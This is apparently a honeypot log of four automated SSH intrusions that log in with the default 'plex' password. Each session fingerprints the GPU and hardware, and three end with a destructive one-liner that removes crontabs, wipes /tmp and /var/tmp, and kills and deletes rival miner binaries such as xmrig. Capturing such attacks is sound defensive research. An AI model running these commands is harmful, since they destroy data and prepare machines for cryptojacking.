{"id":"3ebd00cf-3fb9-48da-b057-d9d7a0b21136","name":"freckled-dusty-jackdaw","protocol":"ssh","channel_kind":"exec","src_ip":"104.43.56.65","src_port":38688,"username":"plex","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":453,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-25T22:39:55.986695+00:00","ended_at":"2026-08-25T22:39:57.179955+00:00","ended_reason":"exec complete","commands":9,"transcript_bytes":617,"events":[{"seq":1,"at":"2026-08-25T22:39:41.030656+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-25T22:39:41.898843+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-25T22:39:42.348935+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":4,"at":"2026-08-25T22:39:44.548566+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":5,"at":"2026-08-25T22:39:45.013460+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":6,"at":"2026-08-25T22:39:47.209766+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":7,"at":"2026-08-25T22:39:47.660811+00:00","kind":"input","latency_ms":null,"data":"uname -m"},{"seq":8,"at":"2026-08-25T22:39:48.980428+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":9,"at":"2026-08-25T22:39:49.433234+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":10,"at":"2026-08-25T22:39:50.803049+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":11,"at":"2026-08-25T22:39:51.254179+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":12,"at":"2026-08-25T22:39:52.167643+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":13,"at":"2026-08-25T22:39:52.615183+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":14,"at":"2026-08-25T22:39:53.570807+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":15,"at":"2026-08-25T22:39:54.031444+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-25T22:39:55.534300+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-25T22:39:55.987720+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-25T22:39:56.954617+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"}],"credentials":[{"username":"plex","password":"plex","method":"password","accepted":true,"tier":"other"}]}
{"id":"bbaf0bae-da69-40ff-bd03-2ff9cfe16057","name":"airy-watchful-caracal","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.42.147","src_port":38482,"username":"plex","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":328,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-21T13:19:43.094850+00:00","ended_at":"2026-08-21T13:19:45.888001+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1656,"events":[{"seq":1,"at":"2026-08-21T13:18:44.061553+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-21T13:18:47.918869+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-21T13:18:48.113567+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-21T13:18:53.650282+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-21T13:18:54.208243+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-21T13:18:57.269247+00:00","kind":"output","latency_ms":null,"data":"1 day, 10:09"},{"seq":7,"at":"2026-08-21T13:18:57.756084+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-21T13:19:02.018414+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-21T13:19:02.600851+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-21T13:19:05.895797+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-21T13:19:06.350303+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-21T13:19:11.387237+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-21T13:19:11.715497+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-21T13:19:14.694618+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-21T13:19:14.952204+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-21T13:19:17.917422+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-21T13:19:18.259862+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-21T13:19:23.780454+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-21T13:19:24.082765+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-21T13:19:29.036684+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-21T13:19:29.230723+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-21T13:19:32.991616+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-21T13:19:33.165135+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-21T13:19:38.102747+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-21T13:19:38.379370+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-21T13:19:43.095932+00:00","kind":"input","latency_ms":null,"data":"echo plex > /tmp/d.log"}],"credentials":[{"username":"plex","password":"plex","method":"password","accepted":true,"tier":"other"}]}
{"id":"44fe0958-f73c-4a15-a95f-d1599a0f7ddf","name":"curious-buoyant-dipper","protocol":"ssh","channel_kind":"exec","src_ip":"45.156.87.93","src_port":56060,"username":"plex","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":205,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-20T19:29:07.444294+00:00","ended_at":"2026-08-20T19:29:13.238326+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1649,"events":[{"seq":1,"at":"2026-08-20T19:28:06.494031+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-20T19:28:11.804079+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-20T19:28:12.143194+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-20T19:28:15.290487+00:00","kind":"output","latency_ms":null,"data":"x86_64"},{"seq":5,"at":"2026-08-20T19:28:15.482402+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-20T19:28:20.978857+00:00","kind":"output","latency_ms":null,"data":"16:18"},{"seq":7,"at":"2026-08-20T19:28:21.335139+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-20T19:28:26.212310+00:00","kind":"output","latency_ms":null,"data":"8"},{"seq":9,"at":"2026-08-20T19:28:26.416998+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-20T19:28:29.642343+00:00","kind":"output","latency_ms":null,"data":"01:00.0 VGA compatible controller: NVIDIA Corporation GA106 [GeForce RTX 3060 Lite Hash Rate] (rev a1)"},{"seq":11,"at":"2026-08-20T19:28:29.858770+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-20T19:28:34.458213+00:00","kind":"output","latency_ms":null,"data":"AMD EPYC 7713 64-Core Processor"},{"seq":13,"at":"2026-08-20T19:28:34.689315+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-20T19:28:40.284328+00:00","kind":"output","latency_ms":null,"data":"AS63949 Akamai Technologies, Inc."},{"seq":15,"at":"2026-08-20T19:28:40.462999+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-20T19:28:45.272365+00:00","kind":"output","latency_ms":null,"data":"NVIDIA GeForce RTX"},{"seq":17,"at":"2026-08-20T19:28:45.458187+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-20T19:28:49.643038+00:00","kind":"output","latency_ms":null,"data":"    Product Name                          : NVIDIA GeForce RTX 3060"},{"seq":19,"at":"2026-08-20T19:28:49.847752+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-20T19:28:53.798624+00:00","kind":"output","latency_ms":null,"data":"0"},{"seq":21,"at":"2026-08-20T19:28:54.221908+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-20T19:28:58.495171+00:00","kind":"output","latency_ms":null,"data":"localhost"},{"seq":23,"at":"2026-08-20T19:28:58.672098+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-20T19:29:04.515824+00:00","kind":"output","latency_ms":null,"data":"7.0.0-22-generic"},{"seq":25,"at":"2026-08-20T19:29:04.688205+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-20T19:29:07.445172+00:00","kind":"input","latency_ms":null,"data":"echo plex > /tmp/d.log"}],"credentials":[{"username":"plex","password":"plex","method":"password","accepted":true,"tier":"other"}]}
{"id":"d806a0de-b766-4ba8-bba1-4973dd6255a9","name":"ruddy-sleepy-meerkat","protocol":"ssh","channel_kind":"exec","src_ip":"91.92.47.66","src_port":59166,"username":"plex","client_version":"SSH-2.0-Go","auth_attempts":1,"automation":"bot","think_ms":168,"probe_flagged":0,"exec_command":"uname -s -v -n -r -m","started_at":"2026-08-20T10:42:13.233093+00:00","ended_at":"2026-08-20T10:42:15.474565+00:00","ended_reason":"exec complete","commands":14,"transcript_bytes":1528,"events":[{"seq":1,"at":"2026-08-20T10:42:04.990212+00:00","kind":"input","latency_ms":null,"data":"uname -s -v -n -r -m"},{"seq":2,"at":"2026-08-20T10:42:04.990857+00:00","kind":"output","latency_ms":null,"data":"Linux localhost 7.0.0-22-generic #22-Ubuntu SMP PREEMPT_DYNAMIC Mon May 25 15:54:34 UTC 2026 x86_64"},{"seq":3,"at":"2026-08-20T10:42:05.151725+00:00","kind":"input","latency_ms":null,"data":"uname -m | awk '{printf $1}'"},{"seq":4,"at":"2026-08-20T10:42:05.628388+00:00","kind":"output","latency_ms":null,"data":""},{"seq":5,"at":"2026-08-20T10:42:05.814228+00:00","kind":"input","latency_ms":null,"data":"uptime | grep -ohe 'up .*' | sed 's/,//g' | awk '{ print $2\" \"$3 }'"},{"seq":6,"at":"2026-08-20T10:42:06.717777+00:00","kind":"output","latency_ms":902,"data":"7:32"},{"seq":7,"at":"2026-08-20T10:42:06.902598+00:00","kind":"input","latency_ms":null,"data":"nproc "},{"seq":8,"at":"2026-08-20T10:42:06.903056+00:00","kind":"output","latency_ms":null,"data":"1"},{"seq":9,"at":"2026-08-20T10:42:07.069627+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA && lspci | grep 3D"},{"seq":10,"at":"2026-08-20T10:42:07.542835+00:00","kind":"output","latency_ms":null,"data":"-bash: lspci: command not found"},{"seq":11,"at":"2026-08-20T10:42:07.704505+00:00","kind":"input","latency_ms":null,"data":"lscpu | egrep \"Model name:\" | cut -d ' ' -f 14-"},{"seq":12,"at":"2026-08-20T10:42:08.471410+00:00","kind":"output","latency_ms":null,"data":"-bash: lscpu: command not found"},{"seq":13,"at":"2026-08-20T10:42:08.632094+00:00","kind":"input","latency_ms":null,"data":"curl ipinfo.io/org"},{"seq":14,"at":"2026-08-20T10:42:09.236461+00:00","kind":"output","latency_ms":603,"data":"AS14061 DigitalOcean, LLC"},{"seq":15,"at":"2026-08-20T10:42:09.675070+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\" | awk '{print $4, $5, $6, $7, $8, $9, $10, $11}' | wc -l | head -c 1"},{"seq":16,"at":"2026-08-20T10:42:10.265198+00:00","kind":"output","latency_ms":589,"data":"0"},{"seq":17,"at":"2026-08-20T10:42:10.428466+00:00","kind":"input","latency_ms":null,"data":"nvidia-smi -q | grep \"Product Name\""},{"seq":18,"at":"2026-08-20T10:42:10.978149+00:00","kind":"output","latency_ms":548,"data":"bash: nvidia-smi: command not found"},{"seq":19,"at":"2026-08-20T10:42:11.139956+00:00","kind":"input","latency_ms":null,"data":"lspci | egrep VGA | grep Radeon | wc -l | head -c 1"},{"seq":20,"at":"2026-08-20T10:42:11.294473+00:00","kind":"output","latency_ms":null,"data":"-bash: lspci: command not found"},{"seq":21,"at":"2026-08-20T10:42:11.462796+00:00","kind":"input","latency_ms":null,"data":"uname -n | awk '{printf $1}'"},{"seq":22,"at":"2026-08-20T10:42:12.004402+00:00","kind":"output","latency_ms":540,"data":"localhost"},{"seq":23,"at":"2026-08-20T10:42:12.193997+00:00","kind":"input","latency_ms":null,"data":"uname -r | awk '{printf $1}'"},{"seq":24,"at":"2026-08-20T10:42:12.321183+00:00","kind":"output","latency_ms":null,"data":""},{"seq":25,"at":"2026-08-20T10:42:12.875785+00:00","kind":"input","latency_ms":null,"data":"crontab -r ; rm -rf /var/tmp/.* /var/tmp/* /tmp/.* /tmp/* ; ps aux | awk '$3 > 40.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; ps aux | awk '$4 > 60.0 && $11 !~ /sshd/ {print $2}' | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; pidof cache | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; kill -9 $pid 2>/dev/null; done ; for proc in xmrig cpuminer minerd ccminer; do pidof $proc | while read pid; do readlink -f /proc/$pid/exe 2>/dev/null | xargs rm -f 2>/dev/null; done; pkill -9 $proc 2>/dev/null; done ; rm -rf /tmp/cache /tmp/* /var/tmp/* 2>/dev/null"},{"seq":26,"at":"2026-08-20T10:42:13.233797+00:00","kind":"input","latency_ms":null,"data":"echo plex > /tmp/d.log"}],"credentials":[{"username":"plex","password":"plex","method":"password","accepted":true,"tier":"other"}]}